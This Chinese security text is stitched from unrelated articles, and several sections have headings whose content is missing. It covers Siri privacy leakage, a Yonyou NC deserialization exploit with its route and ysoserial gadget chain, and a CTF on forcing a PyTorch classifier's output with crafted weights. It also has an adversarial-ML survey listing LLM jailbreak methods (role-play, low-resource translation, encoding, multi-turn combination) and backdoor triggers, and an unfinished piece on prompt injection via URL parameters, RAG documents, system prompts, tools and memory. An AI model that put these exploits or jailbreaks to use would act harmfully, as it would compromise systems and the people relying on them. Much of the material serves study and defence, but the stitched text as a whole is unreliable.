引子

云端大模型正日益提升人类生产力，与此同时，端侧智能领域也在不断突破技术瓶颈。现在，端侧大模型已成功落地手机终端，可在本地处理隐私数据，提供总结、命名等实用功能。但端侧智能的能力仍有提升空间，手机暂时无法完全摆脱对云端大模型的依赖，端云协同的范式仍然是未来很长一段时间内端侧智能的主旋律。

在这种背景下，当隐私数据需要上传至云端处理时，手机厂商该如何保障用户的数据安全呢？

让我们看看隐私保护领域的标杆——苹果的解决方案。2024年，苹果就已经推出了隐私云计算（Private Cloud Compute，简称PCC）的概念：

Apple Intelligence 是为 iPhone、iPad 和 Mac 带来强大生成模型的个人智能系统。对于需要使用大模型处理复杂数据的高级功能，我们创建了私有云计算 (PCC)，这是一个专为私有 AI 处理而设计的突破性云智能系统。私有云计算首次将 Apple 设备业界领先的安全性和隐私保护扩展到云端，确保发送到 PCC 的个人数据除了用户本人之外，任何人都无法访问——甚至 Apple 也无法访问。PCC 采用定制的 Apple 芯片和专为隐私保护而设计的强化操作系统构建，我们相信它是迄今为止部署用于大规模云 AI 计算的最先进的安全架构。

看起来这确实是化解隐私数据出端被泄露风险的好办法。但关键在于，这项技术是否已经真正落地到苹果手机里？我们在使用云端的 AI 时，发送出去的内容真的只有我们自己能看到吗？

本文带大家分析 BH USA 2025/Defcon33 的议题：AppleStorm - Unmasking the Privacy Risks of Apple Intelligence，分析Siri 隐私数据出端可能导致的隐私泄露风险。

抓包

想要知道哪些数据被传输到云端了，我们必须能够抓到数据包。

从这里可以看到，苹果 AI 相关服务器的一些主机地址：

大家可能发出疑问：为什么私有云计算和 Siri 是不同的主机地址？隐私云计算不就是为了保护Siri 的上云请求吗？这个问题的答案我们放在后面揭晓。

作者研究发现发送给 guzzoni.apple.com的数据包被做了多层防护，除了证书锁定，苹果还使用了自定义的名为ACE的通信协议，作者花了很大功夫进行协议解析，并且魔改了mitmproxy才成功抓到数据包。工具已开源。

在数据包都能抓到以后，我们来看看不同的场景下，都有哪些数据被 Siri 上传到云端了，以及传输是否做好了加密。

隐私数据出端泄露风险

在开始测试之前，作者预先关闭了系统中的"学习应用习惯以提供智能建议"等个性化功能，避免非必要请求干扰测试，确保在使用 Siri 时捕获的数据包为最小必要集合。

场景一：上云功能

以天气查询为例，询问 Siri What is the weather in Las Vegas?，手机所在的经纬度位置、手机里的天气相关的 APP名称（甚至如果手机里安装了虚拟机，里面天气相关的 APP 都会被找出来）、手机播放列表正在播放的内容信息都会被发送给搜索服务的主机：api-glb-ause1c.smoot.apple.com。此外，手机里当前打开的 APP列表会被发送到听写请求服务器：guzzoni.apple.com。

一个简单的天气询问，提供给云端的信息量已经远远超出于解决该问题所需的内容。

上述这些隐私数据，用户只能控制位置信息是否提供给 Siri，其他的隐私数据都是被悄悄发送到云端了。除了天气搜索外，在使用 Siri 进行计算、在线搜索、文章搜索时，也都会上传类似的数据。

并且，这些请求并没有经过隐私云计算处理，攻击者拦截到数据后可以轻易查看其中的内容。

场景二：端侧功能

对于发送消息、邮件、日历这些端侧功能，Siri 总没有必要再把数据传到云端了吧？

抓包发现，手机里当前打开的 APP列表和当前播放内容的信息仍然会被发送到 guzzoni.apple.com 这个听写服务器。更要命的是，在使用 Siri 发送消息的功能时，像发送 iMessage、发送消息到 WhatsApp，发送的信息的内容以及目标联系人，都会发送给 guzzoni.apple.com 一份。

风险总结如下：

风险来源与消解措施

隐私数据为什么上云？为什么 PCC 没落地？

苹果官方的回应是：上述 smoot 和 guzzoni 服务是给 Siri 用的，而不是 Apple Intelligence，PCC 是用来保护 Apple Intelligence的，像 Writing Tools、Extensions-ChatGPT这些功能。

PS：可是 Siri也能调用 Apple Intelligence的功能，这样同一个 APP有两条上云链路、两套隐私保护政策，本身就很不合理。

使用 Siri 发消息，为什么会传给云端？

实验证明是苹果给开发者提供的 SiriKit导致的问题，苹果后续将考虑修复该问题。

如何消解风险？

guzzoni听写服务对正常功能没有影响，可以屏蔽掉相关的请求（如果可能的话）。

启发

像苹果 Siri这种不安全的传输用户隐私数据的风险，应该是智能手机当前面临的共同问题。不管是为了提高用户的智能体验，亦或仅仅是上传了日志，都有可能在使用 AI 时不安全的上传了用户的隐私数据。

不管是苹果手机还是安卓手机，对系统级别 APP 抓包的管控越来越严格，安全研究人员和普通用户在使用 AI 时，对隐私数据使用透明化的需求越来越高。希望手机厂商在未来做好AI隐私数据使用的透明化和安全保护。

声明

本文所有内容仅供安全研究、教育和防御性安全测试使用。使用者需：

1遵守当地法律法规

2仅在授权环境中进行测试

3不得用于非法入侵或恶意攻击

4对使用后果自行承担责任

参考资料

1PCC 官方资料

2Apple 主机列表

3AppleStorm-Unmasking the Privacy Risks of Apple Intelligence

漏洞介绍

用友NC系统UserSynchronizationServlet方法存在反序列化漏洞，攻击者可执行任意命令，获取敏感信息。

影响版本

用友NC6.5

漏洞分析

漏洞位于nc.bs.pub.im.UserSynchronizationServlet接口

​

漏洞代码：

​

很明显的反序列化漏洞， 接收POST请求时，读取了输入流，之后对输入流方法进行in.readObject()造成了反序列化漏洞

接下来构造请求URL，要调用UserQueryServiceServlet类，只要在请求路由加上/~包名称+UserSynchronizationServlet类的完整路径即可

查看系统的Web.xml，可以看见请求/service和/servlet前缀的都经过NCInvokerServlet方法处理

NCInvokerServlet接口的doAction方法如下：

​

主要功能是获得url路径后，如果是以/~开头，截取第一部分为moduleName，然后再截取第二部分为serviceName，再根据getServiceObject(moduleName, serviceName)实现任意Servlet的调用。

这里包名称是uapim，再加上方法的完整路径就能进行请求了

所以这里的路由为：

用友反序列化漏洞存在cc依赖，这里就直接使用ysoserial-all.jar生成cc6的利用链请求dnslog，保存到本地的c.bin文件中

漏洞复现

我们首先用一道题目来引出今天的话题。

0xGame 2025 Week4 - 旧吊带袜天使:想吃真蛋糕的Stocking

题目提供了一个基于PyTorch的CNN图像分类模型 SimpleDessertClassifier,用于识别三种类型的甜点:

​

模型结构:

卷积层: 提取图像特征(3→32→64→128通道)

自适应池化: 统一输出为7×7特征图

全连接层: 128×7×7 → 256 → 128 → 3(三类输出)

在PyTorch的state_dict中,最后一层(输出层)的参数命名为:

'classifier.5.weight': 形状 (3, 128) - 权重矩阵

'classifier.5.bias': 形状 (3,) - 偏置向量

在app.py中的判断逻辑:

​

我们要想拿到flag必须满足一下条件

cake_confidence < 24 - 蛋糕的置信度小于24

poisoned_apple_confidence > cake_confidence - 毒苹果置信度大于蛋糕置信度

模型上传接口

​

检查了文件扩展名，使用了weights_only加载，但是没有验证模型参数的合理性，这就是漏洞点。

根据PyTorch官方文档,load_state_dict要求:

●键名必须完全匹配

●张量形状必须完全匹配

这使得我们可以精确控制模型参数,特别是输出层的参数。

核心思路

1CNN卷积层和中间层难以预测和控制

2但输出层(最后一个Linear层)直接影响三个类别的logits输出

3通过操纵输出层的weight和bias,可以直接控制各类别的置信度

数学原理:

如果我们设:

● weight = 0 (全零矩阵)

●bias = [-10.0, 10.0, 0.0]

则:

●Cake logit ≈ -10.0 (置信度极低)

●Poisoned Apple logit ≈ 10.0 (置信度极高)

●Other logit ≈ 0.0 (置信度中等)

这样就满足了获取flag的条件。

神经网络输出层机制

在PyTorch中,未经softmax的输出称为logits:

Softmax转换:

当差异较大时:

● logit_poison = 10.0 → exp(10) ≈ 22026

● logit_cake = -10.0 → exp(-10) ≈ 0.000045

●poison_confidence ≈ 99.99%

●cake_confidence ≈ 0.0002%

满足 cake_confidence < 24 和 poisoned_apple_confidence > cake_confidence。

exp

第一次遇到模型污染攻击的题目，我们来总结一下AI样本对抗的一些内容和知识点。

一、对抗性威胁

1.1 问题背景

2014年，Szegedy等人首次发现了一个令人震惊的现象：深度神经网络对输入数据的微小扰动异常敏感[1]。通过在图像上添加精心设计的扰动，这些扰动在人类观察者看来几乎不可察觉，却能让分类器的准确率从90%以上骤降至接近0%。这一发现揭开了对抗性机器学习研究的序幕。

更令人担忧的是，对抗样本具有迁移性（Transferability）——在某一个模型上生成的对抗样本，往往能够成功攻击其他架构完全不同的模型。这一特性使得对抗攻击在实际应用场景中构成严重威胁。

1.2 现实威胁案例

自动驾驶系统：研究者通过在停车标志上添加精心设计的贴纸，成功欺骗目标检测模型将其识别为限速标志[2]。这种物理对抗攻击直接威胁道路交通安全。

人脸识别系统：通过佩戴特殊设计的眼镜框，攻击者可以绕过基于深度学习的人脸验证系统[3]。这种对抗性眼镜的图案对人类观察者而言只是普通的装饰，但对神经网络而言却是致命的扰动。

恶意软件检测：对抗样本技术已被应用于恶意PDF文件的生成，使得能够绕过基于机器学习的检测系统[4]。这表明对抗性威胁不仅限于视觉领域。

1.3 对抗样本的定义

二、对抗样本的产生机理

2.1 线性假设解释

2.2 决策边界理论

从决策边界（Decision Boundary）的角度看，对抗样本反映了模型决策边界的扭曲特性。在高维空间中，决策边界的复杂度远超人类直觉。

研究表明，深度神经网络的决策边界呈现出"指状突起"（Finger-like protrusions）结构[6]。这些细长的突起深入到各个类别的区域，使得在任何数据点附近都存在通往其他类别的低扰动路径。

2.3 流形视角

另一种解释基于数据流形（Manifold）理论。自然图像在高维像素空间中实际上分布在一个低维流形上。深度神经网络学习的是这个流形上的概率分布。

对抗样本位于流形之外，但非常接近流形表面。模型在流形之外的区域行为不可控，容易被扰动误导。这类似于"分布外泛化"（Out-of-Distribution Generalization）问题。

三、经典攻击算法详解

3.1 梯度类攻击方法

3.1.1 FGSM（Fast Gradient Sign Method）

FGSM是最早的一阶攻击方法，由Goodfellow在2015年提出[5]。核心思想是沿损失函数的梯度方向进行最大化扰动：

FGSM的优势：

●计算高效，仅需一次前向和反向传播

●扰动可控

●在黑盒场景下具有较好的迁移性

局限性：

●单步攻击容易被对抗训练防御

●扰动幅度受限时成功率较低

3.1.2 I-FGSM（Iterative FGSM）

I-FGSM通过多次迭代应用FGSM，每次迭代使用较小的步长：

I-FGSM显著提升了攻击成功率，但迁移性有所下降。

3.1.3 MI-FGSM（Momentum I-FGSM）

为提升迁移性，Dong等人引入动量机制

动量机制有助于：

●跨越局部极值

●稳定优化方向

●提升不同模型间的迁移性

3.1.4 PGD（Projected Gradient Descent）

PGD被Madry等人视为对抗鲁棒性的"基准攻击"[8]。算法框架：

PGD的关键创新在于随机初始化，这使得攻击能从不同起始点探索决策边界，显著增强了攻击效果。Madry等人证明，对抗训练若能防御PGD攻击，通常也能防御其他一阶攻击。

3.2 优化类攻击方法

3.2.1 C&W攻击（Carlini & Wagner Attack）

Carlini和Wagner提出的优化攻击[9]被认为是当时最强的白盒攻击方法。核心思想是将对抗样本构造转化为约束优化问题

C&W攻击的三种变体：

● C&W L0：最小化修改像素数量

● C&W L2：最小化欧氏距离

● C&W L∞：最小化最大像素变化

C&W攻击突破了当时多数防御方法，包括 Defensive Distillation（防御蒸馏）。

3.2.2 EAD（Elastic-Net Attack to DNNs）

Chen等人提出基于Elastic Net正则化的优化框架

3.3 黑盒攻击方法

3.3.1 基于迁移性的黑盒攻击

利用对抗样本的迁移特性，攻击者可以在本地模型上生成对抗样本，直接用于攻击远程目标模型。

提升迁移性的策略：

● 使用集成模型（Ensemble）作为替代模型

● 引入数据增强（Data Augmentation）

● 使用动量机制稳定优化

3.3.2 基于查询的黑盒攻击

当无法获得目标模型的梯度信息时，可采用基于优化的查询方法。

NES（Natural Evolutionary Strategy）攻击
通过自然进化策略估计梯度：

Boundary Attack
从随机噪声出发，沿决策边界逐步逼近目标样本，保持对抗性同时减小扰动。

SPSA（Simultaneous Perturbation Stochastic Approximation）：
使用同时扰动随机近似估计梯度，每次仅需两次查询即可获得梯度估计。

3.4 物理对抗攻击

3.4.1 数字域到物理域的挑战

将数字域对抗样本应用到物理世界面临两大挑战：

1 光照变化：拍摄条件的变化导致实际输入与预期不一致

2 视角变换：拍摄角度影响对抗扰动的作用

3.4.2 典型物理攻击方法

RP2（Robust Physical Perturbations）[13]：
通过在不同光照和角度下优化，生成具有物理鲁棒性的对抗贴纸。关键是在优化过程中引入环境变化的模拟：

对抗性补丁（Adversarial Patches）[14]：
Brown等人提出生成任意形状的图像补丁，无论贴在图像何处都能触发攻击。优化目标是：

通过期望-最大化（Expectation-Maximization）算法求解。

四、新兴攻击前沿

4.1 针对Transformer的对抗攻击

Vision Transformer（ViT）的兴起带来了新的攻击向量。研究表明，ViT的自注意力机制（Self-Attention）存在特殊脆弱性[15]。

Patch-wise攻击：
不同于CNN的像素级攻击，ViT的对抗扰动可以针对Image Patch层面构造：

Token级扰动：
在语言模型中，针对输入Token的嵌入向量进行优化，而非原始文本。

4.2 视觉-语言多模态攻击

大型视觉-语言模型（如CLIP、GPT-4V）的对抗研究成为热点[16]。

跨模态迁移攻击：
利用图像和文本模态间的对齐关系，通过修改一模态影响另一模态的表征：

链式攻击（Chain of Attack）
CVPR 2025的研究表明，VLM比单一语言模型更易受攻击，原因在于视觉模态对细微扰动的敏感性。攻击策略为：

1在图像空间生成对抗扰动

2通过视觉编码器传递到联合嵌入空间

3影响跨模态注意力机制

4最终导致语言输出错误

4.3 后门攻击（Backdoor Attack）

后门攻击不同于前述的对抗样本，它在训练阶段植入恶意行为。

触发器设计：
常见的触发器模式：

●图像角落的特定图案

●隐写术嵌入的隐蔽信号

●语义级触发（如"特定物体+特定背景"）

BadNets攻击
通过在训练集中注入带触发器的样本，使得模型在测试时遇到触发器即输出攻击者指定的类别。

隐式后门攻击：
使用正则化方法使后门激活模式与正常激活模式难以区分：

4.4 数据投毒攻击

数据投毒攻击通过污染训练数据来植入后门或降低模型性能。

标签翻转攻击：
将部分训练样本标签改为错误类别，导致决策边界偏移。

清洁标签攻击
更隐蔽的方法，保持标签正确但选择靠近决策边界的困难样本进行微小扰动：

4.5 图像对抗样本的不可感知性度量

为了更精确地量化对抗扰动的不可感知性，研究者提出了多种度量方法：

五、大语言模型对抗攻击

随着ChatGPT、GPT-4等大语言模型的广泛应用，LLM的对抗安全问题成为研究热点。与传统CV领域的对抗样本不同，LLM面临独特的挑战和攻击方式。

5.1 LLM对抗攻击的特点

离散输入空间：
语言模型的输入是离散的token序列，无法直接应用连续优化方法：

语义约束强：
扰动后的文本必须保持语法正确和语义连贯，这比图像扰动约束更强。

黑盒场景为主：
大多数LLM通过API提供服务，攻击者只能访问输入输出接口。

5.2 提示注入攻击（Prompt Injection）

提示注入是目前LLM面临的最严重安全威胁之一。

直接注入：
通过精心设计的提示词覆盖系统指令：

间接注入：
将恶意指令隐藏在看似正常的内容中：

多轮注入：
通过多轮对话逐步引导模型突破安全限制：

形式化定义

5.3 对抗性提示生成

基于优化的方法：

GCG（Greedy Coordinate Gradient）
通过贪婪坐标梯度搜索最优后缀扰动：

算法框架：

基于搜索的方法：

遗传算法
将提示词视为基因序列，通过变异、交叉、选择进化：

● 变异：随机替换token或同义词替换

● 交叉：组合两个成功的提示词片段

● 选择：保留攻击成功率高的个体

强化学习方法：
将对抗提示生成建模为序列决策问题：

5.4 越狱攻击（Jailbreaking）

越狱攻击旨在绕过LLM的安全护栏。

角色扮演攻击：
通过设定角色场景规避安全限制：

翻译攻击：
利用语言差异绕过过滤器：

●将恶意请求翻译为低资源语言

●通过LLM处理后再翻译回原语言

●某些语言的语义表达可能未被安全训练充分覆盖

编码攻击：
将指令编码为特殊形式：

●Base64编码

●ASCII/Unicode字符

●摩斯电码

●凯撒密码

示例：

组合攻击：
结合多种技术的混合攻击：

1使用角色扮演设定上下文

2通过编码隐藏真实意图

3利用多轮对话逐步引导

4添加干扰token迷惑检测器

5.5 LLM后门攻击

触发器植入：
在训练阶段或微调阶段植入后门：

特定词触发：
在输入中包含特定关键词时触发恶意行为：
$$P(恶意输出 | 输入 + 触发词) approx 1$$

句法结构触发：
特定的句子结构触发后门：

隐式触发
使用难以察觉的触发器，如：

●特殊标点符号组合

●文本末尾的空白字符

●Unicode零宽字符

训练数据投毒：

5.6 针对RAG系统的对抗攻击

检索增强生成（RAG）系统的攻击向量：

检索阶段攻击：
构造文档使得被错误检索：

生成阶段攻击：
在被检索的恶意文档中植入误导信息，使LLM生成错误内容。

多跳推理攻击：
针对需要多步推理的RAG系统，在某个中间步骤注入错误信息，影响最终结论。

5.7 LLM对抗攻击评估

攻击成功率：

查询效率：
平均需要的查询次数或轮次。

文本质量：
评估对抗提示的自然度和流畅度，使用：

●困惑度（Perplexity）

●人工评估

●GPT-4等作为裁判

覆盖度：
攻击方法对不同类型任务的有效性：

●代码生成

●有害内容生成

●隐私信息泄露

●虚假信息传播

六、扩散模型与生成式AI的对抗研究

生成式AI的快速发展带来了新的安全挑战。扩散模型作为当前最强大的生成模型，其对抗性研究成为前沿方向。

6.1 扩散模型原理回顾

6.2 针对扩散模型的对抗攻击

6.2.1 图像到图像生成的对抗攻击

文本引导图像编辑攻击[35]：
通过对抗性文本提示生成恶意图像：

目标优化：
$$max_{delta} mathbb{E}[ ext{损失函数}( ext{生成图像}, ext{目标属性})]$$

例如：

潜在空间对抗扰动：
在扩散模型的潜在空间注入扰动：

影响后续的去噪过程，导致生成偏离预期。

6.2.2 针对图像生成的不可见水印攻击

水印移除攻击：
通过添加精心设计的扰动移除生成图像中的水印：

水印伪造攻击：
在真实图像中添加伪造的水印，使其被误判为AI生成。

6.2.3 反向攻击与隐私窃取

成员推断攻击：
判断某样本是否在训练集中：

训练数据提取[36]：
通过逆向扩散模型恢复训练数据：

攻击算法：

模型反演：
从模型输出恢复敏感训练信息，特别是人脸等敏感数据。

6.3 生成对抗网络的对抗性研究

6.3.1 GAN的脆弱性分析

6.3.2 模型窃取攻击

6.4 生成式AI的防御策略

6.4.1 对抗训练 for 生成模型

鲁棒去噪器训练：

防御性蒸馏：
使用高温蒸馏平滑生成模型的决策边界。

6.4.2 水印与版权保护

不可见水印技术[37]：

基于频域的鲁棒水印：

1将水印嵌入到图像的DCT/DWT系数中

2水印对常见的图像处理具有鲁棒性

3可通过统计检测验证水印存在

基于优化的水印：

神经网络水印：
在模型参数中嵌入水印：

●触发器集：特定输入产生特定输出

●参数 embedding：将水印编码到权重矩阵

6.4.3 生成内容检测

基于检测器的识别：

特征包括：

●频域统计特征

●局部纹理模式

●深度特征异常

零样本检测：
利用零样本学习无需训练即可检测：

●计算图像在CLIP等模型中的特征分布异常

●使用困惑度等指标

多模态检测：

6.5 AIGC安全事件与伦理讨论

Deepfake与虚假信息：

●政治人物视频伪造

●商业诈骗

●个人名誉损害

版权侵权争议：

●AI训练数据的合法性

●生成内容的版权归属

●风格模仿的法律边界

内容审核挑战：

●海量生成内容的审核难度

●跨平台监管的复杂性

●技术对抗与军备竞赛

七、深度对抗鲁棒性理论分析

7.1 对抗样本的几何视角

7.1.1 决策边界的曲率分析

从微分几何角度，决策边界的曲率决定了对抗样本的易攻击性。

研究表明，深度神经网络的决策边界具有极大的负曲率区域，导致对抗样本的存在。

7.1.2 决策边界的分形维度

决策边界的盒计数维度（Box-counting Dimension）：

实验表明，深度神经网络的决策边界维度接近输入空间维度，这是对抗样本存在的根本原因之一。

7.1.3 余度假设与线性可分性

余度假设（Excess Capacity Hypothesis）：
神经网络参数数量远超训练样本数，导致存在大量决策边界可实现零训练误差。

高VC维意味着模型可以记忆训练数据而非学习泛化规律，决策边界在数据点之间扭曲形成对抗样本。

7.2 泛化理论与鲁棒性

7.2.1 泛化界与鲁棒性

7.2.2 分布鲁棒优化

7.3 信息论视角

7.3.1 互信息与特征学习

7.3.2 信息瓶颈的鲁棒性解释

从信息论角度，对抗样本的存在是因为模型学习了对分类任务无关的特征。IB理论表明，最优表示应该丢弃输入中的"噪声"（包括对抗扰动），只保留与任务相关的信息。

7.4 对抗样本的因果解释

7.4.1 相关性与因果性

传统深度学习学习的是特征与标签之间的统计关联，而非因果关系。

虚假相关（Spurious Correlation）：
例如：训练集中"雪地"背景与"狼"标签高度相关，导致模型对"雪地上的哈士奇"误分类。

对抗样本利用了这些虚假相关特征。

7.4.2 因果表示学习

7.5 可证明的鲁棒性下界

7.5.1 准确率-鲁棒性权衡的理论分析

7.5.2 神经正切核（NTK）视角

NTK理论表明：

●标准训练的模型在数据点附近拟合迅速

●但在远离数据点的区域泛化能力差

●对抗样本恰好位于训练数据流形的"空隙"中

八、端到端实战案例

本章节通过具体案例展示对抗样本攻防的完整流程，从代码实现到结果分析。

8.1 图像分类模型对抗攻击实战

8.1.1 环境准备

8.1.2 加载预训练模型

8.1.3 FGSM攻击实现

8.1.4 PGD攻击实现

8.1.5 C&W攻击实现

8.1.6 可视化对比

8.2 对抗训练完整流程

8.2.1 基础对抗训练

8.2.2 TRADES对抗训练

8.3 LLM对抗攻击实战

8.3.1 提示注入攻击示例

8.3.2 GCG攻击算法实现

8.4 扩散模型对抗攻击

8.5 攻击效果评估与对比

九、评估指标与基准

9.1 攻击能力评估

9.1.2 扰动幅度

9.1.3 查询复杂度（Query Complexity）

9.1.4 迁移性

9.2 防御能力评估

9.2.1 鲁棒准确率（Robust Accuracy）

9.2.2 准确率-鲁棒性权衡

9.2.3 认证半径（Certified Radius）

9.3 常用数据集

9.4 自动化评估工具

Foolbox：
Python库提供统一接口实现多种攻击算法：

ART（Adversarial Robustness Toolbox）：
IBM开发的对抗鲁棒性工具箱，提供攻击、防御、评估的完整流程。

CleverHans：
Goodfellow等人开发的早期对抗攻击库，提供FGSM、JSMA等经典算法实现。

十、开放问题与未来方向

10.1 准确率与鲁棒性的根本矛盾

经验表明，提升模型鲁棒性往往以牺牲标准准确率为代价。Schmidt等人从信息论角度证明，在高维数据分布下，实现高准确率和高鲁棒性需要指数级样本复杂度[30]。

这提示可能需要：

● 新的学习范式：超越纯监督学习

● 先验知识注入：利用人类视觉先验

● 因果推理：从相关性转向因果性

10.2 大模型的对抗鲁棒性

随着GPT-4、CLIP等大模型的兴起，新问题涌现：

计算成本：对大模型进行PGD攻击或对抗训练计算开销巨大。研究方向：

●参数高效微调（PEFT）结合对抗训练

●LoRA（Low-Rank Adaptation）在对抗场景的应用

●梯度累积与分布式优化

黑盒迁移攻击：大模型API只提供输入输出接口，如何设计高效查询攻击？

10.3 生成式AI的对抗问题

扩散模型（Diffusion Models）和生成对抗网络（GAN）的对抗研究：

扩散模型反向攻击：
通过优化去噪过程，从模型中恢复训练数据隐私。

生成模型的版权保护：
对抗水印技术保护生成内容不被盗用。

10.4 多模态与联邦学习的安全性

跨模态对抗传播：
视觉-语言-音频多模态模型中，一模态的扰动如何影响其他模态？

联邦对抗学习：
在分布式训练场景下，如何防御恶意客户端的对抗性投毒？

10.5 可证明鲁棒性

现有的经验性防御（如对抗训练）只能提供经验保证。研究方向：

形式化验证：
使用SMT求解器对小型网络进行精确验证。

凸松弛：
将非线性激活函数凸化，得到鲁棒性的可证明上界。

随机平滑扩展：
将随机平滑理论扩展到更复杂的数据分布和网络架构。

10.6 对抗样本的双重性研究

最新研究开始探索对抗样本的积极意义：

数据增强：
利用对抗样本扩充训练集，提升模型泛化能力。

可解释性：
对抗样本揭示模型决策逻辑，帮助理解黑盒模型。

对抗性调试：
通过生成对抗样本发现模型缺陷，指导改进。

10.7 2023-2025最新研究进展

10.7.1 自动对抗攻击（AutoAttack）[39]

Croce和Hein提出的AutoAttack是一个自适应攻击框架，自动选择最优攻击组合：

核心思想：

●使用多种攻击方法（APGD-CE, APGD-DLR, FAB, Square）

●通过自适应策略选择最有效的攻击

●提供更可靠的鲁棒性评估

算法流程：

10.7.2 对抗性微调（Adversarial Fine-tuning）[40]

针对预训练大模型的对抗性微调方法：

方法：

●在预训练模型基础上进行对抗性微调

●使用较小的学习率和扰动预算

●仅微调部分层（如最后几层或注意力层）

优势：

●降低计算成本

●保留预训练知识

●提升下游任务的鲁棒性

10.7.3 基于提示的防御（Prompt-based Defense）[41]

针对LLM的防御新方法：

系统提示工程：

红队测试（Red Teaming）：

●组建专业红队进行对抗性测试

●使用自动化工具生成对抗样本

●建立攻击-防御迭代循环

10.7.4 多模态对抗研究进展

CLIP模型的脆弱性[42]：
研究发现视觉-语言预训练模型对特定扰动高度敏感：

●视觉扰动向文本空间的迁移

●跨模态对抗样本的构造

●零样本分类的鲁棒性分析

扩散模型的鲁棒性[43]：
针对Stable Diffusion等模型的攻击：

10.7.5 物理对抗攻击新进展

3D打印对抗物体[44]：
通过3D打印生成物理对抗物体：

●优化物体的3D几何结构

●考虑不同光照和角度

●实际测试验证攻击效果

对抗性纹理（Adversarial Textures）：
将对抗扰动应用到现实世界的纹理：

●服装图案

●车辆涂装

●建筑外观

10.7.6 量子计算与对抗鲁棒性

新兴研究方向：

量子对抗攻击：
利用量子算法加速对抗样本生成：

●量子梯度估计

●量子优化算法（QAOA）

●量子机器学习模型的鲁棒性

后量子密码学与AI安全：

●抗量子攻击的神经网络

●量子密钥分发与模型保护

10.7.7 对抗样本的法律与伦理框架

监管政策：

●欧盟AI法案对对抗鲁棒性的要求

●NIST AI风险管理框架

●ISO/IEC AI安全标准

负责任的AI开发：

●对抗鲁棒性作为AI安全指标

●红队测试作为标准流程

●透明度和可解释性要求

十一、实践建议与最佳实践

11.1 对抗训练实施指南

11.1.1 基础配置

11.1.2 高级技巧

早期停止（Early Stopping）：
监控验证集鲁棒准确率，避免过拟合。

课程学习（Curriculum Learning）：

自适应攻击强度：
根据当前模型鲁棒性动态调整epsilon。

附录：快速参考

A.1 主要攻击算法对比

A.2 主要防御方法对比

A.3 常用扰动预算值

提示词供应链：从“一键 Reprompt”到“系统提示投毒”

2026 年 LLM 安全的三段式攻防

文章定位：偏工程落地 + 新视角总结
说明：本文只写可用于安全评估与防守的思路，不提供可直接复制用于攻击的载荷、脚本与绕过细节；示例均做“脱敏/占位符化”。

深度技术分析：从攻击面到实现机制

URL参数注入的技术实现链路

Copilot Reprompt 和 ChatGPT 的参数注入本质是前端输入验证缺失导致的上下文污染。这类漏洞的技术关键在于参数直接进入模型推理路径，绕过了常规的输入清洗流程。

前端路由层接收参数后，未进行上下文隔离就直接构造API请求。

​

这种实现让 URL 参数获得了与直接用户输入相同的上下文权重。攻击者可以通过精心构造的 URL，将恶意指令注入到系统提示之后、用户输入之前的位置，形成上下文劫持。

更危险的是某些实现中的自动提交机制。

​

这种机制下，用户访问恶意链接后，不需要任何交互就能触发 LLM 工具调用链。

从攻击链路看，URL 参数注入的成功依赖三个条件的叠加。前端未对参数来源进行可信度标记，后端未区分用户主动输入与被动接收的参数，且模型推理过程中将所有上下文视为同等权重。这三个条件构成了完整的攻击路径。

LangChain CVE-2025-68664 的攻击面展开

LangChain 序列化漏洞的核心危险在于将非结构化的 LLM 输出直接用于框架对象重构。其攻击路径通常涉及以下技术环节。

LLM 输出被解析器误认为 LangChain 特殊对象结构。

​

实际攻击中，这类漏洞利用了 LangChain 在处理历史对话、工具调用结果时的自动序列化机制。当 LLM 输出包含特殊格式的结构化数据时，反序列化器可能将其当作可信对象处理。

另一个关键攻击向量是通过工具返回值注入。

这种模式下，攻击者控制了外部 API 的返回内容，通过 LLM 工具调用链实现间接注入。

LangChain 框架中存在多个此类攻击面。对话历史存储时的序列化、工具调用结果的对象转换、以及 Prompt 模板的动态加载机制，都可能成为注入点。框架设计时假设 LLM 输出是安全的，但实际工程中这个假设经常不成立。

系统提示投毒的供应链特征

系统提示投毒区别于传统提示注入的核心在于其持久性和全局性。从技术实现角度看，这类攻击通常利用以下系统特性。

多租户环境中的提示词模板复用机制。

这种架构下，单一污染点可以影响整个用户群体。更危险的是当系统提示词存储在可被运营配置修改的数据库中时，所有使用该模板的后续对话都会被植入恶意指令。

企业级应用中常见的一种危险模式是通过管理后台动态编辑系统提示词。

当管理后台存在权限越权或会话劫持时，攻击者可以修改系统提示词模板。这种污染的持续性强于单次会话注入，因为所有新会话都会加载被污染的模板。

更隐蔽的投毒方式是通过外部数据源间接影响系统提示词。例如某些系统允许从知识库文档中提取规则动态追加到系统提示。

这种投毒方式难以检测，因为恶意指令被包装在正常文档内容中，且通过自动化规则提取机制进入系统提示。

间接注入在 RAG 系统中的放大效应

RAG 系统是最容易被忽视的间接注入攻击面。其危险在于检索到的文档内容被系统默认为可信上下文。

攻击者可以通过投递恶意文档到知识库，让检索过程返回带有嵌入指令的内容。

当用户的查询与该文档相似度匹配时，嵌入的指令就会被注入到上下文中。这种攻击方式的隐蔽性在于恶意内容被包装在正常文档内部，且通过语义相关性触发。

RAG 系统中存在多种文档投毒向量。用户上传的文件、网络爬虫获取的网页内容、第三方知识库同步的数据，都可能被注入恶意指令。这些内容在检索后直接进入模型上下文，且通常不会经过与用户输入相同的验证流程。

另一种危险的 RAG 注入方式是通过跨模态检索。

当 OCR 提取的图片文本中包含嵌入指令时，这类攻击尤其难以检测，因为图片内容的来源和真实性的验证成本较高。

工具调用链的权限边界消解

现代 Agent 系统中，工具调用是最危险的能力出口。其风险核心在于 LLM 可能被诱导执行超出用户意图的操作。

攻击者可以通过控制 context 中的外部内容，诱导 LLM 选择高风险工具。

这种攻击成功的关键在于系统没有区分工具调用权限的来源。当外部内容被允许影响工具调用决策时，整个权限边界就被消解了。

更复杂的工具链攻击涉及多步骤的权限提升。

当系统未对工具调用的来源进行追踪时，攻击者可以构造看似合理的多步骤任务链，逐步提升权限并最终执行高危操作。

记忆系统的双刃剑效应

记忆功能的开启让单次会话的攻击可以持续影响未来所有会话。从攻击者角度看，这相当于获得了一个持久化的配置修改接口。

一旦恶意内容被写入长期记忆，后续所有会话都会在上下文中包含这些内容。更危险的是，某些实现中记忆内容会被优先级处理，甚至可以覆盖系统提示词的某些部分。

多租户环境中的交叉污染风险

多租户 SaaS 应用中的提示词污染具有特殊的危险性。当多个用户共享同一套系统提示词模板或 RAG 知识库时，一个租户的恶意内容可能影响其他租户。

当系统未正确隔离租户间的模板更新权限时，恶意租户可能修改共享的基础模板，影响所有其他租户。

函数调用劫持的实现机制

